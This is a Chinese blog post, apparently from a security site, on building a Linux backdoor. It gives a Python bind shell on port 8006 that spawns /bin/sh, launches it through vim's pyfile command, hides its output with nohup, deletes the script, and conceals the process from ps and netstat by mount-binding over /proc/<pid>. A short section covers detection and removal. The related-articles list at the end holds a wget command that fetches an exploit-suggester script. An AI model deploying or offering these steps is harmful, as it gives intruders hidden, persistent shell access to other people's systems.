vim+py文件構造linux後門

2020-12-23 Hacker安全

linux 後門有很多,像bash後門,openssh後門等等,今天,我將帶大家探討一下python後門。

python後門,其實就是用python編寫的一個簡單的socket伺服器端。具體實現代碼如下:

from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',8006)) server.listen(5) talk, addr = server.accept() proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)以上代碼原理也很簡單,創建套接字,綁定套接字(也就是之後開啟的監聽埠),監聽套接字(其中數字5代表有5臺設備可同時連接),將linux下的標準輸入、輸出、錯誤重定向到套接字中並開啟一個shell,從而實現數據傳輸。在使用python啟動腳本,並在攻擊機上使用nc進行連接。成功連接後,受害者主機要顯示建立了一個sh連接。

這個一個簡單的python後門就實現了,但實際中,有很多伺服器是沒有安裝python應用的,那在沒有python應用的伺服器下就不能使用了麼?

答案是可以使用,現如今的vim編輯器為了更好的支持python語言,默認是安裝了python擴展,通過vim的python擴展,也可以去啟動一個python程序。可通過「vim --version」查看是否已支持python擴展。

那現在我們就可以使用vim的python擴展去啟動一個python後門,命令如下:

vim -E -c "pyfile test.py"其中 -E是啟動一個改進的Ex模式(也就是命令模式),-c是去加載一個文件,並去執行。

執行後會出現黑色的等待連接窗口,在攻擊機成功連接後,連接窗口會變成一個命令輸入窗口,並需要輸入q進行退出操作。然後在我們使用過程中,這個窗口並不需要。那我們就得考慮,如何啟動的時候就不顯示該窗口。

這裡我們可以使用linux中nohup功能,用來將命令進行後臺執行。命令如下:

nohup vim -E -c "pyfile test.py"

雖然沒有了命令輸入窗口,但是還是會有nohup的默認提示,並且在攻擊機未連接時界面會停留在此處,無法在當前窗口執行其他命令。因此,還需要對執行命令進行改進。其中改進的目的是讓命令執行後無任何顯示,再一次改進後的命令如下:

(nohup vim -E -c"pyfile test.py"> /dev/null 2>&1 &)以上命令是將nohup的執行結果輸出到/dev/null中,其中/dev/null在linux中代表空設備,結果輸出到空設備也就是丟棄nohup的執行結果。「2」在linux中代表錯誤輸出,「1」在linux中代表標準輸出,在此處也就是nohup的輸出。2>&1表示將錯誤輸出綁定到標準輸出上,在此處也就是將錯誤輸出同樣輸出到空設備上不進行顯示。這樣,無論nohup執行結果是否正確,都不會有輸出。

既然是後門,絕對不能留下自己創建的文件,那可以將刪除命令直接拼接到命令上。再次改進的代碼如下:

(nohup vim -E -c "pyfile test.py"> /dev/null 2>&1 &) && sleep 2 && rm -f test.py相信大家也注意到了,雖然成功啟動了python程序,但進程名為vim稍微有點顯眼,那是不是可以將其隱藏起來?

經過多次實驗發現,使用mount --bind可以實現這一想法。具體實現方式如下:

1、通過netstat命令,查詢到該進程號為1861;2、創建一個空文件夾「null」;3、使用命令「mount --bind null /proc/1861」經過這3步,已經成功隱藏了進程名和進程ID,通過netstat和ps命令,均無法查看到進程名與進程ID。mount --bind命令是將前一個目錄掛載到後一個目錄上,所有對後一個目錄的訪問其實都是對前一個目錄的訪問,並且會將前一個目錄路徑隱藏起來(注意這裡只是隱藏不是刪除,數據未發生改變,僅僅是無法訪問了)。

隱藏了PID和進程名,導致無法直接使用kill命令去直接刪除惡意進程,對查殺造成了一定的影響,可以讓後門能存活的久一點。

由於這種進程名和PID是通過mount的方式去隱藏,因此在查殺時,需要查看「/proc/$$/mountinfo」,分析是否為惡意掛載。

例如上圖,通過「cat /proc/$$/mountinfo」命令,發現23193為可疑進程ID。然後使用umount命令,取消對23193埠的掛載,就可確認該進程是否為惡意進程。然後就可以使用kill命令殺死該進程。

由於對惡意進程pid查找可能需要一定時間,在此期間,可以使用tcpkill工具(需安裝dsniff工具包),對惡意埠發起的連接進行阻斷。如最開始的實驗,是由於python腳本啟動8006埠的正向連接,導致後門的產生與利用,此時,可以使用「tcpkill -9 port 8006」命令,阻止用戶對8006埠的連接,從而暫時阻斷後門的利用,為徹底清除爭取時間。

到此,對python後門的研究就告一段落,這次研究學習進行總結如下:

1、在沒有python環境時,可嘗試通過vim執行python文件;2、可以使用nohup功能,將命令進行後臺執行;3、1>/dev/null 2>&1,可屏蔽linux內輸出內容;4、使用mount --bind ,可隱藏進程名和進程ID。

A man becomes learned by asking question.

相關焦點

  • vim 筆記
    /install.py --all安裝結束後,打開vim,如果沒有提示YCM未編譯,則說明安裝已經成功了。/install.py --all編譯完成後,還需要做一些配置工作,把~/.vim/bundle/YouCompleteMe/third_party/ycmd/examples/.ycm_extra_conf.py這個文件複製到~/.vim目錄下面cp ~/.vim/bundle/YouCompleteMe/third_party
  • Linux下vi(vim)編輯器新手入門教程
    vi(vim)是上Linux 非常常用的編輯器,很多Linux發行版都默認安裝了vi(vim)。
  • Linux-vi和vim
    vi和vimVi是unix/linux作業系統中最經典的文本編輯器,只能是編輯字符,不能對字體、段落進行排版;
  • 精通LINUX vim/vi命令
    vi/vim 使用實例使用 vi/vim 進入一般模式如果你想要使用 vi 來建立一個名為 runoob.txt 的文件時,你可以這樣做:$ vim runoob.txt直接輸入> vi 文件名 就能夠進入 vi 的一般模式了。
  • Vim高頻使用技巧
    前言:vim編輯器因為其隨心所欲的配置和極速的文本編輯受到廣大開發者的喜愛,文章對Vim
  • Vim自動補全神器:YouCompleteMe
    我們常用的omnicppcompleter,acp,vim自帶的c-x, c-n的實現方式就是基於文本。更通俗的說法,其實就是一個字:猜其通過文本進行一些正則表達式的匹配,再根據生成的tags(利用ctags生成)來實現自動補全的效果。顧名思義,其是通過分析源文件,經過語法分析以後進行補全。
  • 每日學習:linux下vim編輯器入門面面觀
    但是目前我們使用比較多的是 vim 編輯器。vim 具有程序編輯的能力,可以主動的以字體顏色辨別語法的正確性,方便程序設計。1.2配置文件在哪?Windows系統的配置文件是vim安裝目錄下的vimrc文件。
  • vim常用命令有哪些?Linux入門學習
    vim是一個文本編輯程序,沒有菜單,只有命令,且命令繁多。在運維培訓學習中,vim編輯器都有哪些知識點?有哪些命令需要掌握? 命令行模式下相關命令移動光標h:←左移l:→右移j:↓下移k:↑上移gg:光標移動文件開頭
  • 神級編輯器 Vim 使用-插件篇
    =1let NERDTreeShowBookmarks=1 "顯示書籤let NERDTreeIgnore=['\~$', '\.pyc$', '\.swp$'] "設置忽略文件類型let NERDTreeWinSize=25 "窗口大小運行 vim , 輸入命令 :PlugInstall操作命令e : 進入文件夾內部瀏覽, 會在右側開啟小窗口進入文件夾列表
  • 【Linux入門學習之】vi/vim編輯器必知必會
    每當我們在用vim編輯時,vim都會自動在被編輯的文件的目錄下面再新建一個名為filename.swap的文件。這就是一個暫存文件,我們對文件filename所做的操作都會被記錄到這個文件當中。如果系統意外崩潰,導致文件沒有正常保存,那麼這個暫存文件就會發揮作用。
  • Linux提權的幾種常用方式
    (1)根據作業系統版本號自動查找相應提權腳本wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
  • VIM入門及使用技巧
    對於新手開始接觸Linux系統,除了Linux命令,還需要編輯Linux的文件,這時候你就需要掌握VIM,本文將介紹一些實用技巧,喜歡的可以關注下。1.VIM說明說到Vim,會跟Vi混淆在一起,其實Vim可以理 解為Vi的高級版本。Vim是linux系統下最好的文本編輯器。
  • LINUX的文本編輯器
    這個說起來不是個難事,但是對於剛使用linux的同學而言,編輯文本還真是個問題,首先,你很難找到寫字板,就算找到了,也很難用,我說的沒錯吧。😄所以,你必須改變,就從現在開始!Linux平臺上一直有兩派,爭執不下,一個是emacs,另一個就是vim他們兩個都是很好的文本編輯器,但由於開發初衷不一樣。
  • 「linux命令詳解」lsof命令解析,教你一步打開所有文件
    對編程感興趣的可以私信我獲取資料簡介lsof(list open files)是一個列出當前系統打開文件的工具。在linux環境下,任何事物都以文件的形式存在,通過文件不僅僅可以訪問常規數據,還可以訪問網絡連接和硬體。
  • linux下nginx 1.19.5安裝及配置使用
    百度搜索nginx,進入官網,下載linux下的版本文件2.通過Xftp工具,將Windows中下載的文件上傳到linux系統的磁碟中3.進入linux,使用命令終端進行依賴包安裝yum -y install gcc zlib zlib-devel pcre-devel
  • Linux怎麼刪除文件夾及其下所有文件?
    Linux 系統有一點比不了 Windows 系統的就是操作不夠直觀,比如我想刪除伺服器上的某個文件夾,直接通過 FTP 連接上去刪除沒有權限,需要通過 putty 連接伺服器通過命令才能刪除。而 Linux 沒有回收站的說法,所以用命令刪除文件或文件夾都要格外小心,boke112 也是輸入刪除命令反覆確認後才敢按回車鍵刪除。為了以後刪除文件需要特意將 Linux 刪除文件夾及其下所有文件的命令分享給大家。登錄 Linux 系統後刪除文件夾好像有幾種情況,還分在當前目錄或不在當前目錄,boke112 分享的命令就是成功登錄 Linux 後直接輸入命令回車就能刪除。
  • 現代 Vim 插件介紹
    搜索Ctrl-P在其他編輯器裡已經是默認的全局搜索鍵了,vim 也有ctrlp(https://github.com/ctrlpvim/ctrlp.vim)插件,它可以搜索文件路徑上的文件名,還有最近文件等各種快捷打開。
  • Linux系列(四)——linux常用命令
    1.1、vim的三種模式正常模式在正常模式下,我們可以使用快捷鍵。以 vim 打開一個檔案就直接進入一般模式了(這是默認的模式)。在這個模式中, 你可以使用『上下左右』按鍵來移動光標,你可以使用『刪除字符』或『刪除整行』來處理檔案內容, 也可以使用『複製、貼上』來處理你的文件數據。插入模式/編輯模式在模式下,程式設計師可以輸入內容。
  • Vim編輯器翻頁控制命令詳解
    轉折換行的功能是 vim 的擴充功能,elvis 無此功能。jk 及使用方向鍵的上下移動遊標會儘量保持在同一欄位。使用 Enter,+,- 的上下移動,遊標會移至上(下)一行的第一個非空白字元處。好像有點複雜,各位就暫時使用方向鍵來移動就簡單明白了!等您愛上了 vim 後再來講究吧。 Ctrl-f    即 PageDown 翻頁。